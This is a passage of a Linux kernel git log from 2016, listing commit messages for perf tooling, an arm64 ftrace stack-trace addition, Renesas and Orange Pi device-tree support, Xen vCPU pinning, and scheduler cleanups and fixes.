Demangle symbols for synthesized @plt entries too (Millian Wolff) Documentation changes: - Show default report configuration in 'perf config' example and docs (Millian Wolff) Infrastructure changes: - Make 'perf test vmlinux' tolerate the symbol aliasing pruning done when loading kallsyms and vmlinux (Arnaldo Carvalho de Melo) - Improve output of 'perf test vmlinux' test, to help identify on the verbose output which lines are warning and which are errors (Arnaldo Carvalho de Melo) - Prep work to stop having to pass symbol_filter_t to lots of functions, simplifying symtab loading routines (Arnaldo Carvalho de Melo) - Honor symbol_conf.allow_aliases when loading kallsyms as well, it was using it only when loading vmlinux files (Arnaldo Carvalho de Melo) - Fixup symbol->end before doing alias pruning when loading symbol tables (Arnaldo Carvalho de Melo) - Fix error handling of lzma kernel module decompression (Shawn Lin) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 98ab10e9770e3ce9fbd263689644be9d81a06885 Author: Pratyush Anand Date: Mon Sep 5 08:03:16 2016 +0530 arm64: ftrace: add save_stack_trace_regs() Currently, enabling stacktrace of a kprobe events generates warning: echo stacktrace > /sys/kernel/debug/tracing/trace_options echo "p xhci_irq" > /sys/kernel/debug/tracing/kprobe_events echo 1 > /sys/kernel/debug/tracing/events/kprobes/enable save_stack_trace_regs() not implemented yet. ------------[ cut here ]------------ WARNING: CPU: 1 PID: 0 at ../kernel/stacktrace.c:74 save_stack_trace_regs+0x3c/0x48 Modules linked in: CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.8.0-rc4-dirty #5128 Hardware name: ARM Juno development board (r1) (DT) task: ffff800975dd1900 task.stack: ffff800975ddc000 PC is at save_stack_trace_regs+0x3c/0x48 LR is at save_stack_trace_regs+0x3c/0x48 pc : [] lr : [] pstate: 600003c5 sp : ffff80097ef52c00 Call trace: save_stack_trace_regs+0x3c/0x48 __ftrace_trace_stack+0x168/0x208 trace_buffer_unlock_commit_regs+0x5c/0x7c kprobe_trace_func+0x308/0x3d8 kprobe_dispatcher+0x58/0x60 kprobe_breakpoint_handler+0xbc/0x18c brk_handler+0x50/0x90 do_debug_exception+0x50/0xbc This patch implements save_stack_trace_regs(), so that stacktrace of a kprobe events can be obtained. After this patch, there is no warning and we can see the stacktrace for kprobe events in trace buffer. more /sys/kernel/debug/tracing/trace -0 [004] d.h. 1356.000496: p_xhci_irq_0:(xhci_irq+0x0/0x9ac) -0 [004] d.h. 1356.000497: => xhci_irq => __handle_irq_event_percpu => handle_irq_event_percpu => handle_irq_event => handle_fasteoi_irq => generic_handle_irq => __handle_domain_irq => gic_handle_irq => el1_irq => arch_cpu_idle => default_idle_call => cpu_startup_entry => secondary_start_kernel => Tested-by: David A. Long Reviewed-by: James Morse Signed-off-by: Pratyush Anand Signed-off-by: Will Deacon arch/arm64/kernel/stacktrace.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit c9acea6efdd7b08bf80a3721a44970252935621b Author: Sergei Shtylyov Date: Sat Sep 3 01:08:45 2016 +0300 ARM: dts: r8a7792: add QSPI support Define the generic R8A7792 part of the QSPI device node. Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 4719d8f9356a9ea8287ebdac04d759482524e67c Author: Sergei Shtylyov Date: Sat Sep 3 01:07:28 2016 +0300 ARM: dts: r8a7792: add QSPI clock Describe the QSPI clock in the R8A7792 device tree. Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 0c157ad23bb02fbda8b9cee82941d7c5ecac26f1 Author: Sergei Shtylyov Date: Wed Aug 31 01:24:41 2016 +0300 ARM: dts: wheat: add SDHI0 support Define the Wheat board dependent part of the SDHI0 (connected to the micro-SD slot) device node along with the necessary voltage regulator. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-wheat.dts | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) commit 4ea71e6df8c22f90665394476c433cad3b4394b6 Author: Sergei Shtylyov Date: Mon Aug 29 23:11:26 2016 +0300 ARM: dts: wheat: add CAN support Define the Wheat board dependent part of the CAN0/1 device nodes... Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-wheat.dts | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 059baea1d33a64e752af201140ef122e29f2a19a Author: Sergei Shtylyov Date: Sun Sep 4 22:55:37 2016 +0300 ARM: dts: r8a7794: fix PWM clock parent When removing the non-existing thermal clock I forgot to remove its parent from the node's "clocks" property -- this led to a wrong PWM clock's parent clock. Fixes: 2a29f9d6fea8 ("ARM: dts: r8a7794: add MSTP5 clocks") Signed-off-by: Sergei Shtylyov Acked-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0aa8d831e75ec8b6c003943ece980535ab6cc94f Author: Chris Brandt Date: Thu Sep 1 21:40:12 2016 -0400 ARM: dts: rskrza1: add ethernet DT support Signed-off-by: Chris Brandt Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r7s72100-rskrza1.dts | 9 +++++++++ 1 file changed, 9 insertions(+) commit e54824019155a609eb3547ce07721c96d9e790ac Author: Chris Brandt Date: Thu Sep 1 21:40:11 2016 -0400 ARM: dts: r7s72100: add ethernet to device tree Signed-off-by: Chris Brandt Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r7s72100.dtsi | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 969244f9c72057b2c32b650b2d75a04d612c603c Author: Chris Brandt Date: Thu Sep 1 21:40:10 2016 -0400 ARM: dts: r7s72100: add ethernet clock to device tree Signed-off-by: Chris Brandt Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r7s72100.dtsi | 9 +++++++++ include/dt-bindings/clock/r7s72100-clock.h | 3 +++ 2 files changed, 12 insertions(+) commit e83c05a7160681f554476e9d44b7b77053efc21a Author: Chris Brandt Date: Mon Aug 29 14:13:22 2016 -0400 ARM: dts: rskrza1: initial device tree Add the initial device tree for the RZ/A1 based development board (RSK). Signed-off-by: Chris Brandt Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/r7s72100-rskrza1.dts | 52 ++++++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+) commit 16a304d8297245e4bc0e863395b8fea593d81e09 Author: Chris Brandt Date: Mon Aug 29 14:14:29 2016 -0400 ARM: dts: Add RSKRZA1 DT bindings documentation Add RSKRZA1 Device tree bindings Documentation, listing it as a supported board. This allows to use checkpatch to validate DTSes referring to the RSKRZA1 board. Signed-off-by: Chris Brandt Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman Documentation/devicetree/bindings/arm/shmobile.txt | 2 ++ 1 file changed, 2 insertions(+) commit 1d9a17dd3f98e3e8d5484224bc9e96f6cb30288b Author: Sergei Shtylyov Date: Fri Aug 26 23:23:13 2016 +0300 ARM: dts: wheat: add Ethernet support R8A7792 SoC doesn't have the EtherMAC core, so SMSC LAN89218 Ethernet chip was used instead on the Wheat debug board; this chip is compatible with SMSC LAN9115 for which there's a (device tree aware) driver. Describe the chip in the Wheat device tree unconditionally (the driver should fail the probe if the debug board isn't connected); enable DHCP and NFS root in the command line for the kernel boot... Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-wheat.dts | 38 ++++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) commit 5f45cec40402188a269dd56e9a1a569cc4849014 Author: Sergei Shtylyov Date: Fri Aug 26 23:21:42 2016 +0300 ARM: dts: wheat: initial device tree Add the initial device tree for the R8A7792 SoC based Wheat board. The Wheat board itself has no serial ports wired up, the USB serial chips are situated on a separate debug board and one of them is connected to SCFI0 -- include unconditional support for it, so that the serial console can work. Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/r8a7792-wheat.dts | 50 +++++++++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+) commit e6835b3e7bc6552faab1667d44e8a6786f60c590 Author: Sergei Shtylyov Date: Fri Aug 26 23:20:05 2016 +0300 ARM: dts: document Wheat board Document the Wheat device tree bindings, listing it as a supported board. This allows to use checkpatch.pl to validate .dts files referring to the Wheat board. Signed-off-by: Sergei Shtylyov Acked-by: Geert Uytterhoeven Acked-by: Rob Herring Signed-off-by: Simon Horman Documentation/devicetree/bindings/arm/shmobile.txt | 2 ++ 1 file changed, 2 insertions(+) commit 5086b0d6ce619350050b270ea009025e587eceb4 Author: Khiem Nguyen Date: Sat Sep 3 06:06:49 2016 +0000 clk: renesas: r8a7796: Add THS/TSC clock Signed-off-by: Khiem Nguyen Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 1 + 1 file changed, 1 insertion(+) commit b452dfe92f651601d04d7b122d5b96e74d7ae030 Author: Chris Brandt Date: Thu Sep 1 22:32:25 2016 -0400 clk: renesas: rz: Select EXTAL vs USB clock Check the MD_CLK pin to determine the current clock mode in order to set the pll clock parent correctly. Signed-off-by: Chris Brandt Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/clk-rz.c | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) commit 27046a3ffbb01ba715e6236c170701c84759b61d Author: Juergen Gross Date: Mon Aug 29 08:48:47 2016 +0200 hwmon: Use smp_call_on_cpu() for dell-smm i8k Use the smp_call_on_cpu() function to call system management mode on CPU 0. Make call secure by adding get_online_cpus() to avoid e.g. suspend resume cycles in between. Signed-off-by: Juergen Gross Signed-off-by: Peter Zijlstra (Intel) Cc: Douglas_Warzecha@dell.com Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akataria@vmware.com Cc: boris.ostrovsky@oracle.com Cc: chrisw@sous-sol.org Cc: david.vrabel@citrix.com Cc: hpa@zytor.com Cc: jdelvare@suse.com Cc: jeremy@goop.org Cc: linux@roeck-us.net Cc: pali.rohar@gmail.com Cc: rusty@rustcorp.com.au Cc: virtualization@lists.linux-foundation.org Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1472453327-19050-7-git-send-email-jgross@suse.com Signed-off-by: Ingo Molnar drivers/hwmon/dell-smm-hwmon.c | 36 ++++++++++++++++++++---------------- 1 file changed, 20 insertions(+), 16 deletions(-) commit e23f22b5cb9e44da24cb8494707536211adff8d1 Author: Juergen Gross Date: Mon Aug 29 08:48:46 2016 +0200 dcdbas: Make use of smp_call_on_cpu() Use smp_call_on_cpu() to raise SMI on CPU 0. Make call secure by adding get_online_cpus() to avoid e.g. suspend resume cycles in between. Signed-off-by: Juergen Gross Signed-off-by: Peter Zijlstra (Intel) Cc: Douglas_Warzecha@dell.com Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akataria@vmware.com Cc: boris.ostrovsky@oracle.com Cc: chrisw@sous-sol.org Cc: david.vrabel@citrix.com Cc: hpa@zytor.com Cc: jdelvare@suse.com Cc: jeremy@goop.org Cc: linux@roeck-us.net Cc: pali.rohar@gmail.com Cc: rusty@rustcorp.com.au Cc: virtualization@lists.linux-foundation.org Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1472453327-19050-6-git-send-email-jgross@suse.com Signed-off-by: Ingo Molnar drivers/firmware/dcdbas.c | 51 ++++++++++++++++++++++++----------------------- 1 file changed, 26 insertions(+), 25 deletions(-) commit 99bc67536d04bcb9133546284acfb15d033b8bfe Author: Juergen Gross Date: Mon Aug 29 08:48:45 2016 +0200 xen: Add xen_pin_vcpu() to support calling functions on a dedicated pCPU Some hardware models (e.g. Dell Studio 1555 laptops) require calls to the firmware to be issued on CPU 0 only. As Dom0 might have to use these calls, add xen_pin_vcpu() to achieve this functionality. In case either the domain doesn't have the privilege to make the related hypercall or the hypervisor isn't supporting it, issue a warning once and disable further pinning attempts. Signed-off-by: Juergen Gross Signed-off-by: Peter Zijlstra (Intel) Acked-by: David Vrabel Cc: Douglas_Warzecha@dell.com Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akataria@vmware.com Cc: boris.ostrovsky@oracle.com Cc: chrisw@sous-sol.org Cc: hpa@zytor.com Cc: jdelvare@suse.com Cc: jeremy@goop.org Cc: linux@roeck-us.net Cc: pali.rohar@gmail.com Cc: rusty@rustcorp.com.au Cc: virtualization@lists.linux-foundation.org Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1472453327-19050-5-git-send-email-jgross@suse.com Signed-off-by: Ingo Molnar arch/x86/xen/enlighten.c | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) commit df8ce9d78a4e7fbe7ddfd8ccee3ecaaa0013e883 Author: Juergen Gross Date: Mon Aug 29 08:48:44 2016 +0200 smp: Add function to execute a function synchronously on a CPU On some hardware models (e.g. Dell Studio 1555 laptop) some hardware related functions (e.g. SMIs) are to be executed on physical CPU 0 only. Instead of open coding such a functionality multiple times in the kernel add a service function for this purpose. This will enable the possibility to take special measures in virtualized environments like Xen, too. Signed-off-by: Juergen Gross Signed-off-by: Peter Zijlstra (Intel) Cc: Douglas_Warzecha@dell.com Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akataria@vmware.com Cc: boris.ostrovsky@oracle.com Cc: chrisw@sous-sol.org Cc: david.vrabel@citrix.com Cc: hpa@zytor.com Cc: jdelvare@suse.com Cc: jeremy@goop.org Cc: linux@roeck-us.net Cc: pali.rohar@gmail.com Cc: rusty@rustcorp.com.au Cc: virtualization@lists.linux-foundation.org Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1472453327-19050-4-git-send-email-jgross@suse.com Signed-off-by: Ingo Molnar include/linux/smp.h | 3 +++ kernel/smp.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ kernel/up.c | 17 +++++++++++++++++ 3 files changed, 70 insertions(+) commit 47ae4b05d0fa2f2a998ebaf34d2dcbffca56a9db Author: Juergen Gross Date: Mon Aug 29 08:48:43 2016 +0200 virt, sched: Add generic vCPU pinning support Add generic virtualization support for pinning the current vCPU to a specified physical CPU. As this operation isn't performance critical (a very limited set of operations like BIOS calls and SMIs is expected to need this) just add a hypervisor specific indirection. Signed-off-by: Juergen Gross Signed-off-by: Peter Zijlstra (Intel) Cc: Douglas_Warzecha@dell.com Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akataria@vmware.com Cc: boris.ostrovsky@oracle.com Cc: chrisw@sous-sol.org Cc: david.vrabel@citrix.com Cc: hpa@zytor.com Cc: jdelvare@suse.com Cc: jeremy@goop.org Cc: linux@roeck-us.net Cc: pali.rohar@gmail.com Cc: rusty@rustcorp.com.au Cc: virtualization@lists.linux-foundation.org Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1472453327-19050-3-git-send-email-jgross@suse.com Signed-off-by: Ingo Molnar MAINTAINERS | 1 + arch/x86/include/asm/hypervisor.h | 4 ++++ arch/x86/kernel/cpu/hypervisor.c | 11 +++++++++++ include/linux/hypervisor.h | 17 +++++++++++++++++ kernel/smp.c | 1 + kernel/up.c | 1 + 6 files changed, 35 insertions(+) commit 3260ab5616b4cd049c79c342617525456a2391b2 Author: Juergen Gross Date: Mon Aug 29 08:48:42 2016 +0200 xen: Sync xen header Import the actual version of include/xen/interface/sched.h from Xen. Signed-off-by: Juergen Gross Signed-off-by: Peter Zijlstra (Intel) Acked-by: David Vrabel Cc: Douglas_Warzecha@dell.com Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akataria@vmware.com Cc: boris.ostrovsky@oracle.com Cc: chrisw@sous-sol.org Cc: hpa@zytor.com Cc: jdelvare@suse.com Cc: jeremy@goop.org Cc: linux@roeck-us.net Cc: pali.rohar@gmail.com Cc: rusty@rustcorp.com.au Cc: virtualization@lists.linux-foundation.org Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1472453327-19050-2-git-send-email-jgross@suse.com Signed-off-by: Ingo Molnar include/xen/interface/sched.h | 100 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 82 insertions(+), 18 deletions(-) commit 2ea3c34bc2ee83d2ae9701d5194054be62a05105 Author: Hans de Goede Date: Sat Sep 3 13:05:18 2016 +0200 ARM: dts: sun8i: Add dts file for the Orange Pi Plus2E SBC The Orange Pi Plus2E is an extended version of the Orange Pi Pc Plus, with 2G RAM and an external gbit ethernet phy. Note currently the dts is pretty much empty (except for including the pc-plus dts), I've a local patch which enables the emac actually making this dts different from the pc-plus one, but that needs the h3 emac driver to get merged first. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/sun8i-h3-orangepi-plus2e.dts | 53 ++++++++++++++++++++++++++ 2 files changed, 54 insertions(+) commit 19635b0c13a0eb3bc6f5352134b8b4846ab88afe Author: Hans de Goede Date: Sat Sep 3 13:05:17 2016 +0200 ARM: dts: sun8i: Orange Pi Plus dts is for the Plus and Plus 2 Update the sun8i-h3-orangepi-plus.dts model string to reflect that it is valid for both the Orange Pi Plus and the Orange Pi Plus 2. This is also meant to help users realize that it is not valid for the new Orange Pi Plus 2E, which will get its own dts. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-h3-orangepi-plus.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4fa8d299b43a91f871f6d5b00dd5ab33d43bbc2c Author: Josh Poimboeuf Date: Fri Jun 17 12:43:26 2016 -0500 sched/debug: Remove several CONFIG_SCHEDSTATS guards Clean up the sched code by removing several of the CONFIG_SCHEDSTATS guards, using schedstat_*() macros where needed. Code size: !CONFIG_SCHEDSTATS defconfig: text data bss dec hex filename 10209818 4368184 1105920 15683922 ef5152 vmlinux.before.nostats 10209818 4368184 1105920 15683922 ef5152 vmlinux.after.nostats CONFIG_SCHEDSTATS defconfig: text data bss dec hex filename 10214210 4370040 1105920 15690170 ef69ba vmlinux.before.stats 10214210 4370680 1105920 15690810 ef6c3a vmlinux.after.stats Signed-off-by: Josh Poimboeuf Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Matt Fleming Cc: Mel Gorman Cc: Peter Zijlstra Cc: Srikar Dronamraju Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/e51e0ebe5af95ac295de720dd252e7c0d2142e4a.1466184592.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 33 +++++------- kernel/sched/debug.c | 99 ++++++++++++++++++---------------- kernel/sched/fair.c | 148 ++++++++++++++++++++++++--------------------------- 3 files changed, 136 insertions(+), 144 deletions(-) commit 20e1d4863bfa7152e98f94e5bcdda3e7db41d899 Author: Josh Poimboeuf Date: Fri Jun 17 12:43:25 2016 -0500 sched/debug: Rename 'schedstat_val()' -> 'schedstat_val_or_zero()' The schedstat_val() macro's behavior is kind of surprising: when schedstat is runtime disabled, it returns zero. Rename it to schedstat_val_or_zero(). There's also a need for a similar macro which doesn't have the 'if (schedstat_enable())' check, to avoid doing the check twice. Create a new 'schedstat_val()' macro for that. Signed-off-by: Josh Poimboeuf Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Matt Fleming Cc: Mel Gorman Cc: Peter Zijlstra Cc: Srikar Dronamraju Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/3bb1d2367d041fee333b0dde17171e709395b675.1466184592.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar kernel/sched/debug.c | 4 ++-- kernel/sched/stats.h | 4 +++- 2 files changed, 5 insertions(+), 3 deletions(-) commit ae92882e5646d8661a3ca182ba988752fe4b773f Author: Josh Poimboeuf Date: Fri Jun 17 12:43:24 2016 -0500 sched/debug: Clean up schedstat macros The schedstat_*() macros are inconsistent: most of them take a pointer and a field which the macro combines, whereas schedstat_set() takes the already combined ptr->field. The already combined ptr->field argument is actually more intuitive and easier to use, and there's no reason to require the user to split the variable up, so convert the macros to use the combined argument. Signed-off-by: Josh Poimboeuf Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Matt Fleming Cc: Mel Gorman Cc: Peter Zijlstra Cc: Srikar Dronamraju Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/54953ca25bb579f3a5946432dee409b0e05222c6.1466184592.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 22 +++++++++++----------- kernel/sched/debug.c | 4 ++-- kernel/sched/fair.c | 42 +++++++++++++++++++++--------------------- kernel/sched/idle_task.c | 2 +- kernel/sched/stats.h | 22 +++++++++++----------- 5 files changed, 46 insertions(+), 46 deletions(-) commit 1a3d027c5a6847e5d349c8527f99aada47e5467a Author: Josh Poimboeuf Date: Fri Jun 17 12:43:23 2016 -0500 sched/debug: Rename and move enqueue_sleeper() enqueue_sleeper() doesn't actually enqueue, it just handles some statistics and tracepoints. Rename it to update_stats_enqueue_sleeper() and call it from update_stats_enqueue(). Signed-off-by: Josh Poimboeuf Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Matt Fleming Cc: Mel Gorman Cc: Peter Zijlstra Cc: Srikar Dronamraju Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/fb20b7159dc4d028c406c0e8d5f8c439b741615b.1466184592.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 142 +++++++++++++++++++++++++++------------------------- 1 file changed, 73 insertions(+), 69 deletions(-) commit 61c7aca695b6fabe85d0fc424fe8ae2f66f267dd Author: Wanpeng Li Date: Wed Aug 31 18:27:44 2016 +0800 sched/deadline: Fix the intention to re-evalute tick dependency for offline CPU The dl task will be replenished after dl task timer fire and start a new period. It will be enqueued and to re-evaluate its dependency on the tick in order to restart it. However, if the CPU is hot-unplugged, irq_work_queue will splash since the target CPU is offline. As a result we get: WARNING: CPU: 2 PID: 0 at kernel/irq_work.c:69 irq_work_queue_on+0xad/0xe0 Call Trace: dump_stack+0x99/0xd0 __warn+0xd1/0xf0 warn_slowpath_null+0x1d/0x20 irq_work_queue_on+0xad/0xe0 tick_nohz_full_kick_cpu+0x44/0x50 tick_nohz_dep_set_cpu+0x74/0xb0 enqueue_task_dl+0x226/0x480 activate_task+0x5c/0xa0 dl_task_timer+0x19b/0x2c0 ? push_dl_task.part.31+0x190/0x190 This can be triggered by hot-unplugging the full dynticks CPU which dl task is running on. We enqueue the dl task on the offline CPU, because we need to do replenish for start_dl_timer(). So, as Juri pointed out, we would need to do is calling replenish_dl_entity() directly, instead of enqueue_task_dl(). pi_se shouldn't be a problem as the task shouldn't be boosted if it was throttled. This patch fixes it by avoiding the whole enqueue+dequeue+enqueue story, by first migrating (set_task_cpu()) and then doing 1 enqueue. Suggested-by: Peter Zijlstra Signed-off-by: Wanpeng Li Signed-off-by: Peter Zijlstra (Intel) Cc: Frederic Weisbecker Cc: Juri Lelli Cc: Linus Torvalds Cc: Luca Abeni Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1472639264-3932-1-git-send-email-wanpeng.li@hotmail.com Signed-off-by: Ingo Molnar kernel/sched/deadline.c | 46 ++++++++++++++++++---------------------------- 1 file changed, 18 insertions(+), 28 deletions(-) commit efca03ecbe29a46c2c5ae539563b6326af9dcba7 Author: seokhoon.yoon Date: Tue Aug 16 18:26:08 2016 +0900 schedcore: Remove duplicated init_task's preempt_notifiers init init_task's preempt_notifiers is initialized twice: 1) sched_init() -> INIT_HLIST_HEAD(&init_task.preempt_notifiers) 2) sched_init() -> init_idle(current,) <--- current task is init_task at this time -> __sched_fork(,current) -> INIT_HLIST_HEAD(&p->preempt_notifiers) I think the first one is unnecessary, so remove it. Signed-off-by: seokhoon.yoon Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471339568-5790-1-git-send-email-iamyooon@gmail.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 4 ---- 1 file changed, 4 deletions(-) commit 2665621506e178a1f62e59200403c359c463ea5e Author: Dietmar Eggemann Date: Wed Aug 10 11:27:27 2016 +0100 sched/fair: Fix load_above_capacity fixed point arithmetic width Since commit: 2159197d6677 ("sched/core: Enable increased load resolution on 64-bit kernels") we now have two different fixed point units for load. load_above_capacity has to have 10 bits fixed point unit like PELT, whereas NICE_0_LOAD has 20 bit fixed point unit on 64-bit kernels. Fix this by scaling down NICE_0_LOAD when multiplying load_above_capacity with it. Signed-off-by: Dietmar Eggemann Signed-off-by: Peter Zijlstra (Intel) Acked-by: Vincent Guittot Acked-by: Morten Rasmussen Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Yuyang Du Link: http://lkml.kernel.org/r/1470824847-5316-1-git-send-email-dietmar.eggemann@arm.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d8206bb3ffe0eaee03abfad46fd44d8b17142e88 Author: Tommaso Cucinotta Date: Sun Aug 14 16:27:08 2016 +0200 sched/deadline: Split cpudl_set() into cpudl_set() and cpudl_clear() These 2 exercise independent code paths and need different arguments. After this change, you call: cpudl_clear(cp, cpu); cpudl_set(cp, cpu, dl); instead of: cpudl_set(cp, cpu, 0 /* dl */, 0 /* is_valid */); cpudl_set(cp, cpu, dl, 1 /* is_valid */); Signed-off-by: Tommaso Cucinotta Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Luca Abeni Reviewed-by: Juri Lelli Cc: Juri Lelli Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-dl@retis.sssup.it Link: http://lkml.kernel.org/r/1471184828-12644-4-git-send-email-tommaso.cucinotta@sssup.it Signed-off-by: Ingo Molnar kernel/sched/cpudeadline.c | 49 +++++++++++++++++++++++++++++++--------------- kernel/sched/cpudeadline.h | 3 ++- kernel/sched/deadline.c | 10 +++++----- 3 files changed, 40 insertions(+), 22 deletions(-) commit 8e1bc301aaf9f9a2d731bf8d50d549ac2dcfdab2 Author: Tommaso Cucinotta Date: Sun Aug 14 16:27:07 2016 +0200 sched/deadline: Make CPU heap faster avoiding real swaps on heapify This change goes from heapify() ops done by swapping with parent/child so that the item to fix moves along, to heapify() ops done by just pulling the parent/child chain by 1 pos, then storing the item to fix just at the end. On a non-trivial heapify(), this performs roughly half stores wrt swaps. This has been measured to achieve up to 10% of speed-up for cpudl_set() calls, with a randomly generated workload of 1K,10K,100K random heap insertions and deletions (75% cpudl_set() calls with is_valid=1 and 25% with is_valid=0), and randomly generated cpu IDs, with up to 256 CPUs, as measured on an Intel Core2 Duo. Signed-off-by: Tommaso Cucinotta Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Luca Abeni Reviewed-by: Juri Lelli Cc: Juri Lelli Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-dl@retis.sssup.it Link: http://lkml.kernel.org/r/1471184828-12644-3-git-send-email-tommaso.cucinotta@sssup.it Signed-off-by: Ingo Molnar kernel/sched/cpudeadline.c | 66 +++++++++++++++++++++++++++++++--------------- 1 file changed, 45 insertions(+), 21 deletions(-) commit 126b3b6842cc848fc9880e7816e0a8d743be51f1 Author: Tommaso Cucinotta Date: Sun Aug 14 16:27:06 2016 +0200 sched/deadline: Refactor CPU heap code 1. heapify up factored out in new dedicated function heapify_up() (avoids repetition of same code) 2. call to cpudl_change_key() replaced with heapify_up() when cpudl_set actually inserts a new node in the heap 3. cpudl_change_key() replaced with heapify() that heapifies up or down as needed. Signed-off-by: Tommaso Cucinotta Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Luca Abeni Reviewed-by: Juri Lelli Cc: Juri Lelli Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-dl@retis.sssup.it Link: http://lkml.kernel.org/r/1471184828-12644-2-git-send-email-tommaso.cucinotta@sssup.it Signed-off-by: Ingo Molnar kernel/sched/cpudeadline.c | 50 +++++++++++++++++++++------------------------- 1 file changed, 23 insertions(+), 27 deletions(-) commit 97a7142f157a6361a659ff3eec2c3cf636bd7490 Author: Byungchul Park Date: Sun Jul 5 18:33:48 2015 +0900 sched/fair: Make update_min_vruntime() more readable The update_min_vruntime() control flow can be simplified. Signed-off-by: Byungchul Park Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: minchan.kim@lge.com Link: http://lkml.kernel.org/r/1436088829-25768-1-git-send-email-byungchul.park@lge.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) commit 62cc20bcf25617dd5ad23356ea46830da3ef7356 Merge: a1eb141 135e8c9 Author: Ingo Molnar Date: Mon Sep 5 13:24:11 2016 +0200 Merge branch 'sched/urgent' into sched/core, to pick up fixes Signed-off-by: 